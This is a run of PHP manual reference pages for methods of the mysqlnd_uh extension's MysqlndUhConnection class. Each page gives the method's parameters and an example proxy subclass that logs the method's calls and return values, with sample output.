Wrapper for assorted list commands.

Warning

This function is currently not documented; only its argument list is available.

Parameters

connection

Mysqlnd connection handle. Do not modify!

query

SHOW command to be executed.

achtung_wild

par1

Return Values

Return Values

TODO

Examples

Example #1 MysqlndUhConnection::listMethod() example

<?php
class proxy extends MysqlndUhConnection {
 public function listMethod($res, $query, $pattern, $par1) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::listMethod($res, $query, $pattern, $par1);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysql = mysql_connect("localhost", "root", "");
$res = mysql_list_dbs($mysql);
printf("num_rows = %d\n", mysql_num_rows($res));
while ($row = mysql_fetch_assoc($res))
 var_dump($row);
?>

The above example will output:

proxy::listMethod(array (
  0 => NULL,
  1 => 'SHOW DATABASES',
  2 => '',
  3 => '',
))
proxy::listMethod returns NULL
num_rows = 6
array(1) {
  ["Database"]=>
  string(18) "information_schema"
}
array(1) {
  ["Database"]=>
  string(5) "mysql"
}
array(1) {
  ["Database"]=>
  string(8) "oxid_new"
}
array(1) {
  ["Database"]=>
  string(7) "phptest"
}
array(1) {
  ["Database"]=>
  string(7) "pushphp"
}
array(1) {
  ["Database"]=>
  string(4) "test"
}

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysql_list_dbs() - List databases available on a MySQL server

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::listFields
MysqlndUhConnection::moreResults
MysqlndUhConnection


Check if there are any more query results from a multi query

MysqlndUhConnection::listMethod
MysqlndUhConnection::nextResult
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::moreResults

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::moreResults — Check if there are any more query results from a multi query

Description

public bool MysqlndUhConnection::moreResults ( mysqlnd_connection $connection )

Check if there are any more query results from a multi query.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::moreResults() example

<?php
class proxy extends MysqlndUhConnection {
 public function moreResults($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::moreResults($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->multi_query("SELECT 1 AS _one; SELECT 2 AS _two");
do {
  $res = $mysqli->store_result();
  var_dump($res->fetch_assoc());
  printf("%s\n", str_repeat("-", 40));
} while ($mysqli->more_results() && $mysqli->next_result());
?>

The above example will output:

array(1) {
  ["_one"]=>
  string(1) "1"
}
----------------------------------------
proxy::moreResults(array (
  0 => NULL,
))
proxy::moreResults returns true
proxy::moreResults(array (
  0 => NULL,
))
proxy::moreResults returns true
array(1) {
  ["_two"]=>
  string(1) "2"
}
----------------------------------------
proxy::moreResults(array (
  0 => NULL,
))
proxy::moreResults returns false

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_more_results() - Check if there are any more query results from a multi query

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::listMethod
MysqlndUhConnection::nextResult
MysqlndUhConnection


Prepare next result from multi_query

MysqlndUhConnection::moreResults
MysqlndUhConnection::ping
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::nextResult

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::nextResult — Prepare next result from multi_query

Description

public bool MysqlndUhConnection::nextResult ( mysqlnd_connection $connection )

Prepare next result from multi_query.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::nextResult() example

<?php
class proxy extends MysqlndUhConnection {
 public function nextResult($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::nextResult($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->multi_query("SELECT 1 AS _one; SELECT 2 AS _two");
do {
  $res = $mysqli->store_result();
  var_dump($res->fetch_assoc());
  printf("%s\n", str_repeat("-", 40));
} while ($mysqli->more_results() && $mysqli->next_result());
?>

The above example will output:

array(1) {
  ["_one"]=>
  string(1) "1"
}
----------------------------------------
proxy::nextResult(array (
  0 => NULL,
))
proxy::nextResult returns true
array(1) {
  ["_two"]=>
  string(1) "2"
}
----------------------------------------

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_next_result() - Prepare next result from multi_query

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::moreResults
MysqlndUhConnection::ping
MysqlndUhConnection


Pings a server connection, or tries to reconnect if the connection has gone down

MysqlndUhConnection::nextResult
MysqlndUhConnection::query
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::ping

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::ping — Pings a server connection, or tries to reconnect if the connection has gone down

Description

public bool MysqlndUhConnection::ping ( mysqlnd_connection $connection )

Pings a server connection, or tries to reconnect if the connection has gone down.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::ping() example

<?php
class proxy extends MysqlndUhConnection {
 public function ping($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::ping($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->ping();
?>

The above example will output:

proxy::ping(array (
  0 => NULL,
))
proxy::ping returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_ping() - Pings a server connection, or tries to reconnect if the connection has gone down
  • mysql_ping() - Ping a server connection or reconnect if there is no connection

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::nextResult
MysqlndUhConnection::query
MysqlndUhConnection


Performs a query on the database

MysqlndUhConnection::ping
MysqlndUhConnection::queryReadResultsetHeader
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::query

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::query — Performs a query on the database

Description

public bool MysqlndUhConnection::query ( mysqlnd_connection $connection , string $query )

Performs a query on the database (COM_QUERY).

Parameters

connection

Mysqlnd connection handle. Do not modify!

query

The query string.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::query() example

<?php
class proxy extends MysqlndUhConnection {
 public function query($res, $query) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $query = "SELECT 'How about query rewriting?'";
  $ret = parent::query($res, $query);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$res = $mysqli->query("SELECT 'Welcome mysqlnd_uh!' FROM DUAL");
var_dump($res->fetch_assoc());
?>

The above example will output:

proxy::query(array (
  0 => NULL,
  1 => 'SELECT \'Welcome mysqlnd_uh!\' FROM DUAL',
))
proxy::query returns true
array(1) {
  ["How about query rewriting?"]=>
  string(26) "How about query rewriting?"
}

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_query() - Performs a query on the database
  • mysql_query() - Send a MySQL query

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::ping
MysqlndUhConnection::queryReadResultsetHeader
MysqlndUhConnection


Read a result set header

MysqlndUhConnection::query
MysqlndUhConnection::reapQuery
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::queryReadResultsetHeader

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::queryReadResultsetHeader — Read a result set header

Description

public bool MysqlndUhConnection::queryReadResultsetHeader ( mysqlnd_connection $connection , mysqlnd_statement $mysqlnd_stmt )

Read a result set header.

Parameters

connection

Mysqlnd connection handle. Do not modify!

mysqlnd_stmt

Mysqlnd statement handle. Do not modify! Set to NULL, if function is not used in the context of a prepared statement.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::queryReadResultsetHeader() example

<?php
class proxy extends MysqlndUhConnection {
 public function queryReadResultsetHeader($res, $stmt) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::queryReadResultsetHeader($res, $stmt);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$res = $mysqli->query("SELECT 'Welcome mysqlnd_uh!' FROM DUAL");
var_dump($res->fetch_assoc());
?>

The above example will output:

proxy::queryReadResultsetHeader(array (
  0 => NULL,
  1 => NULL,
))
proxy::queryReadResultsetHeader returns true
array(1) {
  ["Welcome mysqlnd_uh!"]=>
  string(19) "Welcome mysqlnd_uh!"
}

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::query
MysqlndUhConnection::reapQuery
MysqlndUhConnection


Get result from async query

MysqlndUhConnection::queryReadResultsetHeader
MysqlndUhConnection::refreshServer
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::reapQuery

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::reapQuery — Get result from async query

Description

public bool MysqlndUhConnection::reapQuery ( mysqlnd_connection $connection )

Get result from async query.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::reapQuery() example

<?php
class proxy extends MysqlndUhConnection {
 public function reapQuery($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::reapQuery($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$conn1 = new mysqli("localhost", "root", "", "test");
$conn2 = new mysqli("localhost", "root", "", "test");

$conn1->query("SELECT 1 as 'one', SLEEP(1) AS _sleep FROM DUAL", MYSQLI_ASYNC |  MYSQLI_USE_RESULT);
$conn2->query("SELECT 1.1 as 'one dot one' FROM DUAL", MYSQLI_ASYNC |  MYSQLI_USE_RESULT);

$links = array(
 $conn1->thread_id => array('link' => $conn1, 'processed' => false),
 $conn2->thread_id => array('link' => $conn2, 'processed' => false)
);

$saved_errors = array();
do {
 $poll_links = $poll_errors = $poll_reject = array();
 foreach ($links as $thread_id => $link) {
  if (!$link['processed']) {
   $poll_links[] = $link['link'];
   $poll_errors[] = $link['link'];
   $poll_reject[] = $link['link'];
  }
 }
 if (0 == count($poll_links))
  break;

 if (0 == ($num_ready = mysqli_poll($poll_links, $poll_errors, $poll_reject, 0, 200000)))
  continue;

 if (!empty($poll_errors)) {
  die(var_dump($poll_errors));
 }

 foreach ($poll_links as $link) {
  $thread_id = mysqli_thread_id($link);
  $links[$thread_id]['processed'] = true;

  if (is_object($res = mysqli_reap_async_query($link))) {
   // result set object
   while ($row = mysqli_fetch_assoc($res)) {
    // eat up all results
    var_dump($row);
   }
   mysqli_free_result($res);
  } else {
   // either there is no result (no SELECT) or there is an error
   if (mysqli_errno($link) > 0) {
    $saved_errors[$thread_id] = mysqli_errno($link);
    printf("'%s' caused %d\n", $links[$thread_id]['query'],     mysqli_errno($link));
   }
  }
 }
} while (true);
?>

The above example will output:

proxy::reapQuery(array (
  0 => NULL,
))
proxy::reapQuery returns true
array(1) {
  ["one dot one"]=>
  string(3) "1.1"
}
proxy::reapQuery(array (
  0 => NULL,
))
proxy::reapQuery returns true
array(2) {
  ["one"]=>
  string(1) "1"
  ["_sleep"]=>
  string(1) "0"
}

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_real_async_query()

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::queryReadResultsetHeader
MysqlndUhConnection::refreshServer
MysqlndUhConnection


Flush or reset tables and caches

MysqlndUhConnection::reapQuery
MysqlndUhConnection::restartPSession
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::refreshServer

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::refreshServer — Flush or reset tables and caches

Description

public bool MysqlndUhConnection::refreshServer ( mysqlnd_connection $connection , int $options )

Flush or reset tables and caches.

Warning

This function is currently not documented; only its argument list is available.

Parameters

connection

Mysqlnd connection handle. Do not modify!

options

What to refresh.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::refreshServer() example

<?php
class proxy extends MysqlndUhConnection {
 public function refreshServer($res, $option) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::refreshServer($res, $option);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
mysqli_refresh($mysqli, 1);
?>

The above example will output:

proxy::refreshServer(array (
  0 => NULL,
  1 => 1,
))
proxy::refreshServer returns false

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::reapQuery
MysqlndUhConnection::restartPSession
MysqlndUhConnection


Restart a persistent mysqlnd connection

MysqlndUhConnection::refreshServer
MysqlndUhConnection::selectDb
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::restartPSession

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::restartPSession — Restart a persistent mysqlnd connection

Description

public bool MysqlndUhConnection::restartPSession ( mysqlnd_connection $connection )

Restart a persistent mysqlnd connection.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::restartPSession() example

<?php
class proxy extends MysqlndUhConnection {
 public function ping($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::ping($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->ping();
?>

The above example will output:

proxy::restartPSession(array (
  0 => NULL,
))
proxy::restartPSession returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::refreshServer
MysqlndUhConnection::selectDb
MysqlndUhConnection


Selects the default database for database queries

MysqlndUhConnection::restartPSession
MysqlndUhConnection::sendClose
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::selectDb

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::selectDb — Selects the default database for database queries

Description

public bool MysqlndUhConnection::selectDb ( mysqlnd_connection $connection , string $database )

Selects the default database for database queries.

Parameters

connection

Mysqlnd connection handle. Do not modify!

database

The database name.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::selectDb() example

<?php
class proxy extends MysqlndUhConnection {
 public function selectDb($res, $database) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::selectDb($res, $database);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->select_db("mysql");
?>

The above example will output:

proxy::selectDb(array (
  0 => NULL,
  1 => 'mysql',
))
proxy::selectDb returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_select_db() - Selects the default database for database queries
  • mysql_select_db() - Select a MySQL database

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::restartPSession
MysqlndUhConnection::sendClose
MysqlndUhConnection


Sends a close command to MySQL

MysqlndUhConnection::selectDb
MysqlndUhConnection::sendQuery
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::sendClose

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::sendClose — Sends a close command to MySQL

Description

public bool MysqlndUhConnection::sendClose ( mysqlnd_connection $connection )

Sends a close command to MySQL.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::sendClose() example

<?php
class proxy extends MysqlndUhConnection {
 public function sendClose($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::sendClose($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->close();
?>

The above example will output:

proxy::sendClose(array (
  0 => NULL,
))
proxy::sendClose returns true
proxy::sendClose(array (
  0 => NULL,
))
proxy::sendClose returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::selectDb
MysqlndUhConnection::sendQuery
MysqlndUhConnection


Sends a query to MySQL

MysqlndUhConnection::sendClose
MysqlndUhConnection::serverDumpDebugInformation
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::sendQuery

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::sendQuery — Sends a query to MySQL

Description

public bool MysqlndUhConnection::sendQuery ( mysqlnd_connection $connection , string $query )

Sends a query to MySQL.

Parameters

connection

Mysqlnd connection handle. Do not modify!

query

The query string.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::sendQuery() example

<?php
class proxy extends MysqlndUhConnection {
 public function sendQuery($res, $query) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::sendQuery($res, $query);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("SELECT 1");
?>

The above example will output:

proxy::sendQuery(array (
  0 => NULL,
  1 => 'SELECT 1',
))
proxy::sendQuery returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::sendClose
MysqlndUhConnection::serverDumpDebugInformation
MysqlndUhConnection


Dump debugging information into the log for the MySQL server

MysqlndUhConnection::sendQuery
MysqlndUhConnection::setAutocommit
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::serverDumpDebugInformation

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::serverDumpDebugInformation — Dump debugging information into the log for the MySQL server

Description

public bool MysqlndUhConnection::serverDumpDebugInformation ( mysqlnd_connection $connection )

Dump debugging information into the log for the MySQL server.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::serverDumpDebugInformation() example

<?php
class proxy extends MysqlndUhConnection {
 public function serverDumpDebugInformation($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::serverDumpDebugInformation($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->dump_debug_info();
?>

The above example will output:

proxy::serverDumpDebugInformation(array (
  0 => NULL,
))
proxy::serverDumpDebugInformation returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_dump_debug_info() - Dump debugging information into the log

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::sendQuery
MysqlndUhConnection::setAutocommit
MysqlndUhConnection


Turns on or off auto-commiting database modifications

MysqlndUhConnection::serverDumpDebugInformation
MysqlndUhConnection::setCharset
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::setAutocommit

(PECL mysqlnd-uh >= 1.0.1-alpha, PHP >= 5.4.0)

MysqlndUhConnection::setAutocommit — Turns on or off auto-commiting database modifications

Description

public bool MysqlndUhConnection::setAutocommit ( mysqlnd_connection $connection , int $mode )

Turns on or off auto-commiting database modifications

Parameters

connection

Mysqlnd connection handle. Do not modify!

mode

Whether to turn on auto-commit or not.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::setAutocommit() example

<?php
class proxy extends MysqlndUhConnection {
 public function setAutocommit($res, $mode) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::setAutocommit($res, $mode);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->autocommit(false);
$mysqli->autocommit(true);
?>

The above example will output:

proxy::setAutocommit(array (
  0 => NULL,
  1 => 0,
))
proxy::setAutocommit returns true
proxy::setAutocommit(array (
  0 => NULL,
  1 => 1,
))
proxy::setAutocommit returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_autocommit() - Turns on or off auto-commiting database modifications

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::serverDumpDebugInformation
MysqlndUhConnection::setCharset
MysqlndUhConnection


Sets the default client character set

MysqlndUhConnection::setAutocommit
MysqlndUhConnection::setClientOption
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::setCharset

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::setCharset — Sets the default client character set

Description

public bool MysqlndUhConnection::setCharset ( mysqlnd_connection $connection , string $charset )

Sets the default client character set.

Parameters

connection

Mysqlnd connection handle. Do not modify!

charset

The charset to be set as default.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::setCharset() example

<?php
class proxy extends MysqlndUhConnection {
 public function setCharset($res, $charset) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::setCharset($res, $charset);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->set_charset("latin1");
?>

The above example will output:

proxy::setCharset(array (
  0 => NULL,
  1 => 'latin1',
))
proxy::setCharset returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_set_charset() - Sets the default client character set

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::setAutocommit
MysqlndUhConnection::setClientOption
MysqlndUhConnection


Sets a client option

MysqlndUhConnection::setCharset
MysqlndUhConnection::setServerOption
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::setClientOption

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::setClientOption — Sets a client option

Description

public bool MysqlndUhConnection::setClientOption ( mysqlnd_connection $connection , int $option , int $value )

Sets a client option.

Parameters

connection

Mysqlnd connection handle. Do not modify!

option

The option to be set.

value

Optional option value, if required.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::setClientOption() example

<?php
function client_option_to_string($option) {
 static $mapping = array(
  MYSQLND_UH_MYSQLND_OPTION_OPT_CONNECT_TIMEOUT => "MYSQLND_UH_MYSQLND_OPTION_OPT_CONNECT_TIMEOUT",
  MYSQLND_UH_MYSQLND_OPTION_OPT_COMPRESS => "MYSQLND_UH_MYSQLND_OPTION_OPT_COMPRESS",
  MYSQLND_UH_MYSQLND_OPTION_OPT_NAMED_PIPE => "MYSQLND_UH_MYSQLND_OPTION_OPT_NAMED_PIPE",
  MYSQLND_UH_MYSQLND_OPTION_INIT_COMMAND => "MYSQLND_UH_MYSQLND_OPTION_INIT_COMMAND",
  MYSQLND_UH_MYSQLND_READ_DEFAULT_FILE => "MYSQLND_UH_MYSQLND_READ_DEFAULT_FILE",
  MYSQLND_UH_MYSQLND_READ_DEFAULT_GROUP => "MYSQLND_UH_MYSQLND_READ_DEFAULT_GROUP",
  MYSQLND_UH_MYSQLND_SET_CHARSET_DIR => "MYSQLND_UH_MYSQLND_SET_CHARSET_DIR",
  MYSQLND_UH_MYSQLND_SET_CHARSET_NAME => "MYSQLND_UH_MYSQLND_SET_CHARSET_NAME",
  MYSQLND_UH_MYSQLND_OPT_LOCAL_INFILE => "MYSQLND_UH_MYSQLND_OPT_LOCAL_INFILE",
  MYSQLND_UH_MYSQLND_OPT_PROTOCOL => "MYSQLND_UH_MYSQLND_OPT_PROTOCOL",
  MYSQLND_UH_MYSQLND_SHARED_MEMORY_BASE_NAME => "MYSQLND_UH_MYSQLND_SHARED_MEMORY_BASE_NAME",
  MYSQLND_UH_MYSQLND_OPT_READ_TIMEOUT => "MYSQLND_UH_MYSQLND_OPT_READ_TIMEOUT",
  MYSQLND_UH_MYSQLND_OPT_WRITE_TIMEOUT => "MYSQLND_UH_MYSQLND_OPT_WRITE_TIMEOUT",
  MYSQLND_UH_MYSQLND_OPT_USE_RESULT => "MYSQLND_UH_MYSQLND_OPT_USE_RESULT",
  MYSQLND_UH_MYSQLND_OPT_USE_REMOTE_CONNECTION => "MYSQLND_UH_MYSQLND_OPT_USE_REMOTE_CONNECTION",
  MYSQLND_UH_MYSQLND_OPT_USE_EMBEDDED_CONNECTION => "MYSQLND_UH_MYSQLND_OPT_USE_EMBEDDED_CONNECTION",
  MYSQLND_UH_MYSQLND_OPT_GUESS_CONNECTION => "MYSQLND_UH_MYSQLND_OPT_GUESS_CONNECTION",
  MYSQLND_UH_MYSQLND_SET_CLIENT_IP => "MYSQLND_UH_MYSQLND_SET_CLIENT_IP",
  MYSQLND_UH_MYSQLND_SECURE_AUTH => "MYSQLND_UH_MYSQLND_SECURE_AUTH",
  MYSQLND_UH_MYSQLND_REPORT_DATA_TRUNCATION => "MYSQLND_UH_MYSQLND_REPORT_DATA_TRUNCATION",
  MYSQLND_UH_MYSQLND_OPT_RECONNECT => "MYSQLND_UH_MYSQLND_OPT_RECONNECT",
  MYSQLND_UH_MYSQLND_OPT_SSL_VERIFY_SERVER_CERT => "MYSQLND_UH_MYSQLND_OPT_SSL_VERIFY_SERVER_CERT",
  MYSQLND_UH_MYSQLND_OPT_NET_CMD_BUFFER_SIZE => "MYSQLND_UH_MYSQLND_OPT_NET_CMD_BUFFER_SIZE",
  MYSQLND_UH_MYSQLND_OPT_NET_READ_BUFFER_SIZE => "MYSQLND_UH_MYSQLND_OPT_NET_READ_BUFFER_SIZE",
  MYSQLND_UH_MYSQLND_OPT_SSL_KEY => "MYSQLND_UH_MYSQLND_OPT_SSL_KEY",
  MYSQLND_UH_MYSQLND_OPT_SSL_CERT => "MYSQLND_UH_MYSQLND_OPT_SSL_CERT",
  MYSQLND_UH_MYSQLND_OPT_SSL_CA => "MYSQLND_UH_MYSQLND_OPT_SSL_CA",
  MYSQLND_UH_MYSQLND_OPT_SSL_CAPATH => "MYSQLND_UH_MYSQLND_OPT_SSL_CAPATH",
  MYSQLND_UH_MYSQLND_OPT_SSL_CIPHER => "MYSQLND_UH_MYSQLND_OPT_SSL_CIPHER",
  MYSQLND_UH_MYSQLND_OPT_SSL_PASSPHRASE => "MYSQLND_UH_MYSQLND_OPT_SSL_PASSPHRASE",
  MYSQLND_UH_SERVER_OPTION_PLUGIN_DIR => "MYSQLND_UH_SERVER_OPTION_PLUGIN_DIR",
  MYSQLND_UH_SERVER_OPTION_DEFAULT_AUTH => "MYSQLND_UH_SERVER_OPTION_DEFAULT_AUTH",
  MYSQLND_UH_SERVER_OPTION_SET_CLIENT_IP => "MYSQLND_UH_SERVER_OPTION_SET_CLIENT_IP"
 );
 if (version_compare(PHP_VERSION, '5.3.99-dev', '>')) {
  $mapping[MYSQLND_UH_MYSQLND_OPT_MAX_ALLOWED_PACKET] = "MYSQLND_UH_MYSQLND_OPT_MAX_ALLOWED_PACKET";
  $mapping[MYSQLND_UH_MYSQLND_OPT_AUTH_PROTOCOL] = "MYSQLND_UH_MYSQLND_OPT_AUTH_PROTOCOL";
 }
 if (defined("MYSQLND_UH_MYSQLND_OPT_INT_AND_FLOAT_NATIVE")) {
  /* special mysqlnd build */
  $mapping["MYSQLND_UH_MYSQLND_OPT_INT_AND_FLOAT_NATIVE"] = "MYSQLND_UH_MYSQLND_OPT_INT_AND_FLOAT_NATIVE";
 }
 return (isset($mapping[$option])) ? $mapping[$option] : 'unknown';
}

class proxy extends MysqlndUhConnection {
 public function setClientOption($res, $option, $value) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  printf("Option '%s' set to %s\n", client_option_to_string($option), var_export($value, true));
  $ret = parent::setClientOption($res, $option, $value);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
?>

The above example will output:

proxy::setClientOption(array (
  0 => NULL,
  1 => 210,
  2 => 3221225472,
))
Option 'MYSQLND_UH_MYSQLND_OPT_MAX_ALLOWED_PACKET' set to 3221225472
proxy::setClientOption returns true
